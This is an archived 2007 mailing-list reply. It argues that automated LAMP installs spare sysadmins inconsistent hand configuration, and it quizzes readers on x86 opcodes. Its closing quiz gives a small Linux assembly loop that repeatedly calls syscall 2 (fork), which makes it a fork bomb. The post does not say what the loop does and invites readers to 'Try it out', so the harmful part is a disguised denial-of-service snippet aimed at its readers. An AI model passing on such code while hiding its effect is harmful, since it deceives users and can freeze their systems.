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Telco switches to Ubuntu from RHEL for one reason...



On 8/8/07, Samuel Baldwin <shardz4217-Re5JQEeQqe8AvxtiuMwx3w at public.gmane.org> wrote:
> Gee, I would have figured a LAMP install wouldn't be that hard (I just
> did one two days ago, it was a breeze-- I now have a MediaWiki [hosted
> on a Gentoo install with no X]). If their a sysadmin and they're
> setting up a LAMP machine, you'd think they should know how to do it
> the "old fashioned" way.

It's not hard to do, but if you don't make it automated, people make
get it to the "working point" in various ways, possibly resulting in
hundreds of possible configurations by default.  The idea is too make
it easy and protect people from themselves!  Making an ELF binary from
a bunch of assembly instructions that will run under Linux is not hard
either, but you can put those instructions together in a variety of
ways.  It's nice to have tools (nasm/gcc/ld) to automate this for us,
so we don't have to sit down and hand-compile our binaries :-P

Just a quick test (no google)...do you know what this hex sequence
does in x86 opcode?

\xff\xd0

It is very simple, but unless you work with x86 opcodes daily, you
would not know that this simple performs 'call eax'.  Once you get
fluent, you can even detect patterns in the x86 opcodes, like the eax
register usually corresponds to ending with a 0, and ebx ending with
2, ecx .... etc etc.

Do you know what this does on Linux?

 * section .text
 *
 *      global _start
 *
 * _start:
 *      push byte 2
 *      pop eax
 *      int 0x80
 *      jmp short _start

Try it out :-)
-- 
Kristian Erik Hermansen

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